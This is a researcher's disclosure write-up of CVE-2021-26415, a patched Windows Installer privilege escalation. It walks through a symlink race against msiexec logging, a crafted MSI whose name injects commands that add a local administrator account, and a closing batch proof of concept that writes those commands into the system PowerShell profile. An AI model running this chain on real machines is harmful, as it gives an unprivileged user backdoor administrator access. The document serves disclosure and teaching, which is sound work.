I’d like to share the details of CVE-2021-26415 (CVSSv3.0: 7.8) vulnerability that was patched on 2021-04-13. I found this bug somewhere around October 2020 and worked with Trend Micro’s Zero Day Initiative to report it to Microsoft.

This is a Local Privilege Escalation (LPE) vulnerability affecting Windows Installer component. It’s based on the TOCTOU and file system attack using symlinks. The issue leads to write to an arbitrary file with LocalSystem privileges and partial control over content. I couldn’t find a vector that would give me a full control over the content (to replace DLL file content, etc.), but even partial control is sufficient to inject arbitrary PowerShell commands to default profile and elevate privileges once administrator account or scheduled task runs PowerShell console.

I reported the issue as 0day for Windows 10 and 2019 Server, but according to the advisory, the issue affects other systems as well: 8.1, 7, 2012, 2016, 2008. Ancient systems were probably vulnerable too.

Technical details

Windows installer

The msiexec system binary is used to install applications from MSI format (Windows Installer Packages). It’s not just an another name for PE files, but a slightly more complex format. Typical usage of msiexec requires administrative rights, there are however exceptions. For instance, the /f switch can be used by a non-privileged user to perform repair operation. This operation can often be performed without any admin rights. This switch has been used in the past in several LPE attacks - the vulnerable component was usually the MSI package itself. Typically, to look for such MSIs, I would just go to C:\Windows\Installer directory and start there. This time, we will simply pick one of existing files and use it to attack the operating system itself. The used installer (148d3c4.msi) is some random DropBox MSI that I found on my system.

MSI properties

The repair operation can be extended with logging if /L option is provided. The msiexec will log some information to a pointed file. Let’s use procmon to see what exactly happens if following command is executed by regular user:

1
msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\foo.log
Configured Procmon filters

In the above picture, you can see configured filters and highlights. This is useful to visually distinguish between operations running on System integrity level but impersonating normal users and those that use full power. For instance, the initial CreateFile operation on the pointed file use impersonation. The process won’t open anything that we don’t already have access to. We cannot just point at other files (say, C:\Windows\win.ini) and count on elevated access. It won’t work and from LPE perspective it’s nothing interesting.

Few lines below, the file is processed again, but this time - using the full LocalSystem token. Perhaps only initial access to the file is protected? We can test that using symlinks.

I won’t cover symlinks in detail, if this concept is new to you, please check out this great introduction to privileged file operation abuse on Windows.

The James Forshaw’s symbolic link toolkit is a de facto standard to exploit such issues. In particular, BaitAndSwitch.exe application does everything that’s needed here - it traps the initial file-check in oplock, then changes the link from the original file, to somewhere else - the targeted file. The initial permission checks verify access to a safe file, but next read/write operations are performed on another file, now pointed by the same symlink. This is a typical TOCTOU issue. The kind of symlink used in this scenario, does not require any kind of special access - any unprivileged user can create one.

Let’s execute following commands:

1
2
BaitAndSwitch.exe C:\temp\linkdir\link C:\temp\foo.log C:\foo.log
msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\linkdir\link
Initial file access

This is initial file access, the BOM character is written from Medium integrity thread - it also verifies access rights to a file. Once this is confirmed, the BaitAndSwitch is triggered and changes pointed location.

Reparse on System's CreateFile

Do you see it? The symlink already switched to a new target (C:\foo.log) and after a bunch of operations made under impersonation, the single CreateFile from LocalSystem is made. After few more actions, the file is closed and ends up saved on the disk.

Properties of C:\foo.log

The file follows existing access rights rules - no extra permissions provided, but we just proved the arbitrary write. What’s inside?

1
2
3
MSI (s) (AC:34) [16:14:11:665]: Product: Dropbox Update Helper -- Configuration completed successfully.

MSI (s) (AC:34) [16:14:11:665]: Windows Installer reconfigured the product. Product Name: Dropbox Update Helper. Product Version: 1.3.415.1. Product Language: 1033. Manufacturer: Dropbox, Inc.. Reconfiguration success or error status: 0.

Umm. It’s pretty useless. We may overwrite important files, but won’t directly elevate privileges. We will have to work on that.

Partial content control

At this point, I started inspecting flags returned by msiexec /h. Perhaps it is possible to gain full or at least partial control over written data?

There are certain nice candidates in the logging options parameter:

  • /fp adds terminal properties, some of them are definitively under my control as they come from user-writable registry hives or environment variables. For instance, look how I injected ; notepad.exe ; into %APPDATA% variable.
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
=== Logging started: 4/15/2021  20:18:09 ===
Property(S): UpdateDir = C:\Program Files (x86)\Dropbox\Update\
Property(S): DropboxProgramDir = C:\Program Files (x86)\Dropbox\
Property(S): ProgramFilesFolder = C:\Program Files (x86)\
Property(S): TARGETDIR = C:\
Property(S): ALLUSERS = 1
Property(S): ARPSYSTEMCOMPONENT = 1
Property(S): DISABLEROLLBACK = 1
Property(S): Manufacturer = Dropbox, Inc.
Property(S): ProductCode = {099218A5-A723-43DC-8DB5-6173656A1E94}
Property(S): ProductLanguage = 1033
Property(S): ProductName = Dropbox Update Helper
Property(S): ProductVersion = 1.3.415.1
Property(S): UpgradeCode = {C7A2CC6E-044B-4A2C-BD1E-E75EAD2C11B0}
Property(S): MsiLogFileLocation = C:\temp\log.txt
Property(S): PackageCode = {E42CA6BD-944C-4847-A481-D150906EC78E}
Property(S): ProductState = 5
Property(S): ProductToBeRegistered = 1
Property(S): RestrictedUserControl = 1
Property(S): REINSTALL = ALL
Property(S): REINSTALLMODE = pecms
Property(S): CURRENTDIRECTORY = C:\Users\lowpriv
Property(S): CLIENTUILEVEL = 2
Property(S): CLIENTPROCESSID = 12412
Property(S): MsiSystemRebootPending = 1
Property(S): PRODUCTLANGUAGE = 1033
Property(S): VersionDatabase = 300
Property(S): VersionMsi = 5.00
Property(S): VersionNT = 603
Property(S): VersionNT64 = 603
Property(S): WindowsBuild = 9600
Property(S): ServicePackLevel = 0
Property(S): ServicePackLevelMinor = 0
Property(S): MsiNTProductType = 1
Property(S): WindowsFolder = C:\WINDOWS\
Property(S): WindowsVolume = C:\
Property(S): System64Folder = C:\WINDOWS\system32\
Property(S): SystemFolder = C:\WINDOWS\SysWOW64\
Property(S): RemoteAdminTS = 1
Property(S): TempFolder = C:\Users\lowpriv\AppData\Local\Temp\
Property(S): CommonFilesFolder = C:\Program Files (x86)\Common Files\
Property(S): ProgramFiles64Folder = C:\Program Files\
Property(S): CommonFiles64Folder = C:\Program Files\Common Files\
Property(S): AppDataFolder = C:\Users\lowpriv\AppData\Roaming ; notepad.exe ;\
Property(S): FavoritesFolder = C:\Users\lowpriv\Favorites\
Property(S): NetHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Network Shortcuts\
Property(S): PersonalFolder = C:\Users\lowpriv\Documents\
Property(S): PrintHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\
Property(S): RecentFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Recent\
Property(S): SendToFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\SendTo\
Property(S): TemplateFolder = C:\ProgramData\Microsoft\Windows\Templates\
Property(S): CommonAppDataFolder = C:\ProgramData\
Property(S): LocalAppDataFolder = C:\Users\lowpriv\AppData\Local\
Property(S): MyPicturesFolder = C:\Users\lowpriv\Pictures\
Property(S): AdminToolsFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\
Property(S): StartupFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Property(S): ProgramMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\
Property(S): StartMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\
Property(S): DesktopFolder = C:\Users\Public\Desktop\
Property(S): FontsFolder = C:\WINDOWS\Fonts\
Property(S): GPTSupport = 1
Property(S): OLEAdvtSupport = 1
Property(S): ShellAdvtSupport = 1
Property(S): MsiAMD64 = 6
Property(S): Msix64 = 6
Property(S): Intel = 6
Property(S): PhysicalMemory = 5687
Property(S): VirtualMemory = 2713
Property(S): LogonUser = lowpriv
Property(S): UserSID = S-1-5-21-2746136434-3241333796-1554539884-1002
Property(S): UserLanguageID = 1033
Property(S): ComputerName = DESKTOP-OMNIO40
Property(S): SystemLanguageID = 1033
Property(S): ScreenX = 1024
Property(S): ScreenY = 768
Property(S): CaptionHeight = 19
Property(S): BorderTop = 1
Property(S): BorderSide = 1
Property(S): TextHeight = 16
Property(S): TextInternalLeading = 3
Property(S): ColorBits = 32
Property(S): TTCSupport = 1
Property(S): Time = 20:18:09
Property(S): Date = 4/15/2021
Property(S): MsiNetAssemblySupport = 4.8.4084.0
Property(S): MsiWin32AssemblySupport = 6.3.19041.1
Property(S): RedirectedDllSupport = 2
Property(S): AdminUser = 1
Property(S): MsiRunningElevated = 1
Property(S): Privileged = 1
Property(S): USERNAME = Adrian
Property(S): Installed = 00:00:00
Property(S): DATABASE = C:\WINDOWS\Installer\148d3c4.msi
Property(S): OriginalDatabase = C:\WINDOWS\Installer\148d3c4.msi
Property(S): RollbackDisabled = 1
Property(S): UILevel = 3
Property(S): Preselected = 1
Property(S): ACTION = INSTALL
Property(S): ROOTDRIVE = C:\
Property(S): CostingComplete = 1
Property(S): OutOfDiskSpace = 0
Property(S): OutOfNoRbDiskSpace = 0
Property(S): PrimaryVolumeSpaceAvailable = 0
Property(S): PrimaryVolumeSpaceRequired = 0
Property(S): PrimaryVolumeSpaceRemaining = 0
Property(S): INSTALLLEVEL = 1
=== Logging stopped: 4/15/2021  20:18:09 ===

If you don’t see why that could be useful, I will explain that in a second. For now, there’s plenty of garbage in the output. Let’s try harder.

  • /L+ will append instead of overwritting - this could be useful in some situations and would let us test attacks without breaking the entire file.

  • /Lc logs initial UI parameters only. This results in only two lines of output, but not under attacker control.

1
2
=== Logging started: 4/15/2021  20:28:50 ===
=== Logging stopped: 4/15/2021  20:28:50 ===
  • Other logging flags aren’t helping that much, plus they even cause MSI to use more than one thread and it can cause additional issues. Some will log verbose messages, some only errors… Perhaps malicious MSI package would have more control over the content? Sounds like a good idea to check. Let’s prepare a custom one.

Crafting MSI

Custom MSI packages can be crafted using WiX toolset. This way we will control behavior and also additional properties of MSI package.

First we need to create example.wxs file with following content:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
   <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" 

            Name="; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add #" Version="0.0.1" Manufacturer="Example Company Name" Language="1033">
      <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
      <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>

      <Directory Id="TARGETDIR" Name="SourceDir">
         <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"/>
      </Directory>

      <Feature Id="DefaultFeature" Level="1">
         <ComponentRef Id="ApplicationFiles"/>
      </Feature>
   </Product>
</Wix>

Note the Name attribute. It contains injected PowerShell command along with ‘;’ to separate instructions. The ‘#’ at the end is used to comment out the remaining characters in the line. This will be more clear later.

Now, we can use candle.exe example.wxs to process the above definition and light example.wixobj to create example.msi package.

Let’s move it to the attacked system and redo attack:

msiexec /f C:\temp\example.msi /L C:\Temp\log.txt

This action is only valid for products that are currently installed

Oops. This won’t work - we would need to install the package first and this obviously requires admin privileges. Let’s not even start with the social engineering narrative. This is a dead end.

Product advertisement

I decided to test other flags - perhaps repair isn’t the only interesting option to trigger. The /j<u|m> <Product.msi> option is used as advertises a product - m to all users, u to current user. Let’s see what it really does:

1
2
BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\foo.log
msiexec /j example.msi /L C:\temp\linkdir\link
UAC prompt

UAC prompt. So it must be admin only after all… However, if we take a look at procmon - it looks like write already happened.

Successful attack with advertise flag

We didn’t have to provide any credentials at all! At this point, we can safely cancel UAC - the elevated writing already happened! The data controlled by the attacker is appended to the target file and we have arbitrary write with partial content control.

Final touches

The C:\foo.log file now contains:

MSI (s) (58:68) [21:20:31:191]: Product: ; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add # -- Advertisement failed.

Did I mention that this is a UTF-16 file? Well, it is. So it cannot be turned into cmd.exe payload, but PowerShell will happily process the file. Semicolons are there to split commands, and hash character to comment out the remaining text.

If you overwrite (or create new) C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 - it’s going to be started next time administrator start PowerShell. There are also other LPE locations where it will fit just fine, but thinking of other vectors is going to be your homework.

Another problem I wanted to solve was getting rid of UAC prompt completely. To do that, another switch was used: /t somevalue /qn - this will trigger a silent error after the write, but before UAC prompt. We intentionally want installer to fail at early stage. The /qn switch will guarantee no UI. This makes the payload usable even without GUI access to the system and nothing blocks console interaction.

Full PoC

After all that storytelling, the final PoC is:

1
2
3
4
5
6
@echo off
REM Put BaitAndSwitch, example.msi into C:\temp
echo > C:\temp\fakelog.txt
start C:\temp\BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
timeout /t 1
msiexec /j C:\temp\example.msi /t ksz /Li! C:\temp\linkdir\link /qn

Since your system should already be patched, here’s a quick video PoC of it in action:

Thanks for reading!